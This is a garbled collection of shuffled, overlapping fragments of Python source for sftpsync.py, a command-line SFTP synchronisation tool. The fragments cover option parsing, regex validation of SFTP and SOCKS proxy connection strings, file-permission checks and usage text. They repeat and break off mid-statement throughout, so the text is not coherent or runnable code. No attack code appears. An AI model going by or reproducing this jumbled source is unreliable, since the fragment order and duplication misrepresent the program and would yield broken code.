match.groupdict().items() if", "path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path does NOT exist.", "progress. This is helpful in debugging connection, authentication, and configuration problems.', '' ]))", "usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide", "option else option.split(' ', 1) if not key_value or not len(key_value) == 2:", "= True if opt in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if opt ==", "folder: %s.' % destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN,", "getopt import getopt, GetoptError import re import socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS", "1) if not key_value or not len(key_value) == 2: raise ValueError('Invalid SSH option:", "'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt, value in opts: if opt in", "len(args) != 2: raise ValueError('Please provide a source and a destination. Expected 2", "your SSH configuration.' % path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided", "\"%s\". Please choose one of the following values: { %s }.' % (socks_version,", "2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' + error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:',", "'-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose: Verbose mode. Causes sftpsync to print debugging", "os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path does NOT exist. Please provide a", "args config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination) return config except GetoptError as e:", "your private key.' % path) return path def _validate_ssh_config_path(path): if not path: raise", "not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT", "the provided pattern into a dictionary, if there is a match, or raises", "options are currently supported: %s.' % (key, ', '.join(white_list))) return key, value _USER", "raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have write access.'", "[OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]...", "the file from which the identity (private key) for public key authentication is", "ssh in the format used in ssh_config(5). This is useful for specifying options", "to your private key.' % path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\".", "_PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', }", "of the following values: { %s }.' % (socks_version, ', '.join(white_list))) return eval('socks.%s'", "opt == '-o': k, v = _validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose'] and", "config['preserve'] = True if opt in ('-q', '--quiet'): config['quiet'] = True if opt", "def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the provided connection string against the provided", "raises exception if no match. ''' match = re.search(pattern, connection_string) if not match:", "connection details or a path to a local, existing and readable folder: %s.'", "ValueError('Invalid path: \"%s\". Please provide a valid path to your private key.' %", "sftpsync command-line flag.', ' For full details of the options listed below, and", "option) if key not in white_list: raise ValueError('Unsupported SSH option: \"%s\". Only the", "value in opts: if opt in ('-h', '--help'): usage() exit() if opt in", "('-q', '--quiet'): config['quiet'] = True if opt in ('-r', '--recursive'): config['recursive'] = True", "local, existing and readable folder: %s.' % source) def _validate_destination(destination): if _is_sftp(destination): return", "the following SSH options are currently supported: %s.' % (key, ', '.join(white_list))) return", "== '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value) if", "def _validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.' %", "public key authentication is read.', '-o ssh_option', ' Can be used to pass", "Preserves modification times, access times, and modes from the original file.', '--proxy [user[:password]@]host[:port]',", "_group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return", "path: raise ValueError('Invalid path: \"%s\". Please provide a valid path to your SSH", "for the per-user configuration file is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file', '", "patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' %", "does NOT exist. Please provide a valid path to your private key.' %", "_validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid", "import getopt, GetoptError import re import socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS =", "% path) if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\" exists but user", "_is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\"", "'-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt == '-o': k, v = _validate_ssh_option(value) config['ssh_options'][k]", "config['quiet']: raise ValueError('Please provide either -q/--quiet OR -v/--verbose, but NOT both at the", "= '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".'", "'-v/--verbose: Verbose mode. Causes sftpsync to print debugging messages about their progress. This", "_validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please", "configure(argv): try: # Default configuration: config = { 'force': False, 'preserve': False, 'quiet':", "ssh_option', ' Can be used to pass options to ssh in the format", "got %s: %s.' % (len(args), args)) (source, destination) = args config['source'] = _validate_source(source)", "if config['verbose'] and config['quiet']: raise ValueError('Please provide either -q/--quiet OR -v/--verbose, but NOT", "= '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS),", "if len(args) != 2: raise ValueError('Please provide a source and a destination. Expected", "_validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1) if '=' in option else option.split(' ',", "'--force'): config['force'] = True if opt in ('-p', '--preserve'): config['preserve'] = True if", "from ssh(1).', '-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose: Verbose mode. Causes sftpsync to", "'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {}, } opts, args = getopt(argv, 'fF:hi:o:pqrv',", "is useful for specifying options for which there is no separate sftpsync command-line", "authentication, and configuration problems.', '' ])) def configure(argv): try: # Default configuration: config", "If a configuration file is given on the command line, the system-wide configuration", "to print debugging messages about their progress. This is helpful in debugging connection,", "for specifying options for which there is no separate sftpsync command-line flag.', '", "synchronize entire directories.', '-v/--verbose: Verbose mode. Causes sftpsync to print debugging messages about", "option: \"%s\".' % option) key, value = key_value if not key or not", "def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not in white_list: raise ValueError('Invalid SOCKS proxy", "return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide either SFTP", "does NOT exist.' % path) if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\"", "%s: %s.' % (len(args), args)) (source, destination) = args config['source'] = _validate_source(source) config['destination']", "exit import os from os import linesep from getopt import getopt, GetoptError import", "False, 'verbose': False, 'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options':", "'--preserve'): config['preserve'] = True if opt in ('-q', '--quiet'): config['quiet'] = True if", "in ('-r', '--recursive'): config['recursive'] = True if opt in ('-v', '--verbose'): config['verbose'] =", "'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '',", "2 arguments but got %s: %s.' % (len(args), args)) (source, destination) = args", "file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will", "a path to a local, existing and readable folder: %s.' % source) def", "for (key, value) in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version", "value = key_value if not key or not value: raise ValueError('Invalid SSH option:", "\"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the provided connection string", "provided pattern into a dictionary, if there is a match, or raises exception", "access.' % (path, getuser())) return path def _validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid", "'port' _PATH = 'path' _DRIVE = 'drive' _FILEPATH = 'filepath' _PATTERNS = {", "_validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source. Please", "% (socks_version, ', '.join(white_list))) return eval('socks.%s' % socks_version) def _validate_source(source): if _is_sftp(source): return", "configuration: config = { 'force': False, 'preserve': False, 'quiet': False, 'recursive': False, 'verbose':", "configuration problems.', '' ])) def configure(argv): try: # Default configuration: config = {", "or a path to a local, existing and writable folder: %s.' % destination)", "connection details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the provided", "[s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous', ' password: <PASSWORD>', ' port: 22', '", "'-F config_file Specifies an alternative per-user configuration file.', ' If a configuration file", "user: anonymous', ' password: <PASSWORD>', ' port: 22', ' path: /', '', 'Options:',", "to your SSH configuration.' % path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value =", "def usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' + error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', '", "SSH options are currently supported: %s.' % (key, ', '.join(white_list))) return key, value", "opt in ('-p', '--preserve'): config['preserve'] = True if opt in ('-q', '--quiet'): config['quiet']", "details or a path to a local, existing and readable folder: %s.' %", "re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not os.path.exists(path): raise", "def _validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.' %", "import argv, exit import os from os import linesep from getopt import getopt,", "meter as well as warning and diagnostic messages from ssh(1).', '-r/--recursive: Recursively synchronize", "{ %s }.' % (socks_version, ', '.join(white_list))) return eval('socks.%s' % socks_version) def _validate_source(source):", "and diagnostic messages from ssh(1).', '-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose: Verbose mode.", "None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {}, } opts, args", "file is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file', ' Selects the file from", "_validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide either SFTP connection", "the SOCKS protocol to use. Default is SOCKS5.', '-q/--quiet: Quiet mode: disables the", "raise ValueError('Invalid SOCKS proxy version: \"%s\". Please choose one of the following values:", "= 'port' _PATH = 'path' _DRIVE = 'drive' _FILEPATH = 'filepath' _PATTERNS =", "def _is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid path.", "proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".' % sftp)", "'(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN", "Provided path does NOT exist. Please provide a valid path to your SSH", "destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN, sftp) def _is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path):", "which the identity (private key) for public key authentication is read.', '-o ssh_option',", "' The default for the per-user configuration file is ~/.ssh/config.', '-h/--help Prints this!',", "'quiet', 'recursive', 'verbose']) for opt, value in opts: if opt in ('-h', '--help'):", "white_list=['ProxyCommand']): key_value = option.split('=', 1) if '=' in option else option.split(' ', 1)", "'-o': k, v = _validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose'] and config['quiet']: raise", "_group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$'", "= '<PASSWORD>' _HOST = 'host' _PORT = 'port' _PATH = 'path' _DRIVE =", "'Invalid SFTP connection details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses", "SOCKS proxy to use. If not provided, port will be defaulted to 1080.',", "patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST),", "key, value = key_value if not key or not value: raise ValueError('Invalid SSH", "problems.', '' ])) def configure(argv): try: # Default configuration: config = { 'force':", "to a local, existing and writable folder: %s.' % destination) def _is_sftp(sftp): return", "Causes sftpsync to print debugging messages about their progress. This is helpful in", "arguments but got %s: %s.' % (len(args), args)) (source, destination) = args config['source']", "try: # Default configuration: config = { 'force': False, 'preserve': False, 'quiet': False,", "config['ssh_config'] = _validate_ssh_config_path(value) if opt == '-o': k, v = _validate_ssh_option(value) config['ssh_options'][k] =", "SSH option: \"%s\". Only the following SSH options are currently supported: %s.' %", "if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does", "if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide", "False, 'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {}, }", "debugging connection, authentication, and configuration problems.', '' ])) def configure(argv): try: # Default", "usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' + error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py", "as warning and diagnostic messages from ssh(1).', '-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose:", "value) in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not in", "= True if opt in ('-q', '--quiet'): config['quiet'] = True if opt in", "'<PASSWORD>' _HOST = 'host' _PORT = 'port' _PATH = 'path' _DRIVE = 'drive'", "SOCKS protocol to use. Default is SOCKS5.', '-q/--quiet: Quiet mode: disables the progress", "= { _USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE:", "_PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER),", "SSH configuration.' % path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1)", "raise ValueError('Invalid path. \"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.R_OK):", "raise ValueError('Invalid path. \"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.W_OK):", "helpful in debugging connection, authentication, and configuration problems.', '' ])) def configure(argv): try:", "ValueError('Please provide either -q/--quiet OR -v/--verbose, but NOT both at the same time.')", "your SSH configuration.' % path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=',", "= True if opt in ('-r', '--recursive'): config['recursive'] = True if opt in", "raise ValueError('Unsupported SSH option: \"%s\". Only the following SSH options are currently supported:", "_group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS),", "opt in ('-q', '--quiet'): config['quiet'] = True if opt in ('-r', '--recursive'): config['recursive']", "'-h/--help Prints this!', '-i/--identity identity_file', ' Selects the file from which the identity", "import socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if error_message:", "following SSH options are currently supported: %s.' % (key, ', '.join(white_list))) return key,", "'ssh_options': {}, } opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=',", "GetoptError import re import socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def", "path to your private key.' % path) if not os.path.exists(path): raise ValueError('Invalid path:", "an alternative per-user configuration file.', ' If a configuration file is given on", "per-user configuration file.', ' If a configuration file is given on the command", "key not in white_list: raise ValueError('Unsupported SSH option: \"%s\". Only the following SSH", "see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification times, access times, and modes from", "\"%s\". Provided path does NOT exist. Please provide a valid path to your", "%s }.' % (socks_version, ', '.join(white_list))) return eval('socks.%s' % socks_version) def _validate_source(source): if", "<PASSWORD>', ' port: 22', ' path: /', '', 'Options:', '-f/--force Force the synchronization", "r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name,", "ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification times, access times, and modes from the", "' + error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:',", "option.split('=', 1) if '=' in option else option.split(' ', 1) if not key_value", "valid path to your SSH configuration.' % path) if not os.path.exists(path): raise ValueError('Invalid", "% option) key, value = key_value if not key or not value: raise", "os.W_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have write", "'force': False, 'preserve': False, 'quiet': False, 'recursive': False, 'verbose': False, 'private_key': None, 'proxy':", "no match. ''' match = re.search(pattern, connection_string) if not match: raise ValueError(error_message) return", "'verbose': False, 'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {},", "_validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the provided connection string against the provided pattern", "in ('-p', '--preserve'): config['preserve'] = True if opt in ('-q', '--quiet'): config['quiet'] =", "is a match, or raises exception if no match. ''' match = re.search(pattern,", "Quiet mode: disables the progress meter as well as warning and diagnostic messages", "_validate_ssh_config_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide a valid path", "False, 'quiet': False, 'recursive': False, 'verbose': False, 'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5,", "have read access.' % (path, getuser())) return path def _validate_is_writable_path(path): if not os.path.exists(path):", "'-q/--quiet: Quiet mode: disables the progress meter as well as warning and diagnostic", "sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the provided connection string against the", "for opt, value in opts: if opt in ('-h', '--help'): usage() exit() if", "re.search(pattern, connection_string) if not match: raise ValueError(error_message) return dict((key, value) for (key, value)", "private key.' % path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path", "%s.' % source) def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if _is_path(destination): return _validate_is_writable_path(destination)", "but user \"%s\" does NOT have read access.' % (path, getuser())) return path", "SOCKS5.', '-q/--quiet: Quiet mode: disables the progress meter as well as warning and", "getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt,", "sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py", "== 2: raise ValueError('Invalid SSH option: \"%s\".' % option) key, value = key_value", "% sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the provided connection string against", "no separate sftpsync command-line flag.', ' For full details of the options listed", "but user \"%s\" does NOT have write access.' % (path, getuser())) return path", "Version of the SOCKS protocol to use. Default is SOCKS5.', '-q/--quiet: Quiet mode:", "== '-o': k, v = _validate_ssh_option(value) config['ssh_options'][k] = v if config['verbose'] and config['quiet']:", "provide a valid path to your SSH configuration.' % path) return path def", "match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not in white_list: raise", "'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt, value", "= args config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination) return config except GetoptError as", "exist. Please provide a valid path to your private key.' % path) return", "in white_list: raise ValueError('Invalid SOCKS proxy version: \"%s\". Please choose one of the", "% (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def", "return _validate_is_readable_path(source) raise ValueError('Invalid source. Please provide either SFTP connection details or a", "is no separate sftpsync command-line flag.', ' For full details of the options", "_PATH = 'path' _DRIVE = 'drive' _FILEPATH = 'filepath' _PATTERNS = { _USER:", "'recursive', 'verbose']) for opt, value in opts: if opt in ('-h', '--help'): usage()", "there is a match, or raises exception if no match. ''' match =", "access times, and modes from the original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy", "_PASS = '<PASSWORD>' _HOST = 'host' _PORT = 'port' _PATH = 'path' _DRIVE", "import linesep from getopt import getopt, GetoptError import re import socks from getpass", "raise ValueError('Invalid SSH option: \"%s\".' % option) key, value = key_value if not", "if '=' in option else option.split(' ', 1) if not key_value or not", "ValueError('Invalid SSH option: \"%s\".' % option) if key not in white_list: raise ValueError('Unsupported", "valid path to your private key.' % path) return path def _validate_ssh_config_path(path): if", "import re import socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None):", "_PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy:", "details or a path to a local, existing and writable folder: %s.' %", "_group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp):", "} opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet',", "if there is a match, or raises exception if no match. ''' match", "a dictionary, if there is a match, or raises exception if no match.", "linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path]", "but got %s: %s.' % (len(args), args)) (source, destination) = args config['source'] =", "values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification times, access times, and modes", "SOCKS proxy version: \"%s\". Please choose one of the following values: { %s", "'host' _PORT = 'port' _PATH = 'path' _DRIVE = 'drive' _FILEPATH = 'filepath'", "('-r', '--recursive'): config['recursive'] = True if opt in ('-v', '--verbose'): config['verbose'] = True", "1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of the SOCKS protocol to use. Default is", "return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide either SFTP connection details or a", "values: { %s }.' % (socks_version, ', '.join(white_list))) return eval('socks.%s' % socks_version) def", "either SFTP connection details or a path to a local, existing and writable", "a match, or raises exception if no match. ''' match = re.search(pattern, connection_string)", "'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt, value in opts: if", "['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive', 'verbose']) for opt, value in", "port: 22', ' path: /', '', 'Options:', '-f/--force Force the synchronization regardless of", "opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=', 'quiet', 'recursive',", "def _validate_ssh_config_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide a valid", "a valid path to your private key.' % path) return path def _validate_ssh_config_path(path):", "_validate_is_readable_path(source) raise ValueError('Invalid source. Please provide either SFTP connection details or a path", "existing and readable folder: %s.' % source) def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination)", "True if opt in ('-q', '--quiet'): config['quiet'] = True if opt in ('-r',", "currently supported: %s.' % (key, ', '.join(white_list))) return key, value _USER = 'user'", "ValueError('Unsupported SSH option: \"%s\". Only the following SSH options are currently supported: %s.'", "white_list: raise ValueError('Unsupported SSH option: \"%s\". Only the following SSH options are currently", "(_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN = '^%s?%s$' % (_group(_DRIVE), _group(_FILEPATH)) def _validate_and_parse_socks_proxy(proxy):", "specifying options for which there is no separate sftpsync command-line flag.', ' For", "Please provide a valid path to your private key.' % path) return path", "exist. Please provide a valid path to your SSH configuration.' % path) return", "to use. Default is SOCKS5.', '-q/--quiet: Quiet mode: disables the progress meter as", "raise ValueError('Invalid path: \"%s\". Please provide a valid path to your private key.'", "provide a valid path to your SSH configuration.' % path) if not os.path.exists(path):", "None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {}, } opts, args = getopt(argv,", "a local, existing and writable folder: %s.' % destination) def _is_sftp(sftp): return re.search(_SFTP_PATTERN,", "/', '', 'Options:', '-f/--force Force the synchronization regardless of files\\' presence or timestamps.',", "'recursive': False, 'verbose': False, 'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config',", "\"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path.", "in ssh_config(5). This is useful for specifying options for which there is no", "def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER),", "_PATTERNS = { _USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*',", "not in white_list: raise ValueError('Invalid SOCKS proxy version: \"%s\". Please choose one of", "not in white_list: raise ValueError('Unsupported SSH option: \"%s\". Only the following SSH options", "'ssh_config' : '~/.ssh/config', 'ssh_options': {}, } opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help',", "sftp) def _is_path(path): return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid", "and configuration problems.', '' ])) def configure(argv): try: # Default configuration: config =", "proxy to use. If not provided, port will be defaulted to 1080.', '--proxy-version", "% path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1) if '='", "= 'user' _PASS = '<PASSWORD>' _HOST = 'host' _PORT = 'port' _PATH =", "entire directories.', '-v/--verbose: Verbose mode. Causes sftpsync to print debugging messages about their", "_validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.' % path)", "either -q/--quiet OR -v/--verbose, but NOT both at the same time.') if len(args)", "' Version of the SOCKS protocol to use. Default is SOCKS5.', '-q/--quiet: Quiet", "[OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous', ' password: <PASSWORD>', ' port:", "mode. Causes sftpsync to print debugging messages about their progress. This is helpful", "a valid path to your private key.' % path) if not os.path.exists(path): raise", "'', 'Options:', '-f/--force Force the synchronization regardless of files\\' presence or timestamps.', '-F", "path does NOT exist. Please provide a valid path to your SSH configuration.'", "_FILEPATH = 'filepath' _PATTERNS = { _USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT:", "file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy to use. If not provided, port will", "('-f', '--force'): config['force'] = True if opt in ('-p', '--preserve'): config['preserve'] = True", "NOT exist.' % path) if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\" exists", "!= 2: raise ValueError('Please provide a source and a destination. Expected 2 arguments", "if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path does NOT exist. Please", "', 1) if not key_value or not len(key_value) == 2: raise ValueError('Invalid SSH", "valid path to your SSH configuration.' % path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']):", "\"%s\" exists but user \"%s\" does NOT have read access.' % (path, getuser()))", "\"%s\". Please provide a valid path to your private key.' % path) if", "config['proxy'] = _validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt ==", "socks_version) def _validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid", "SSH configuration.' 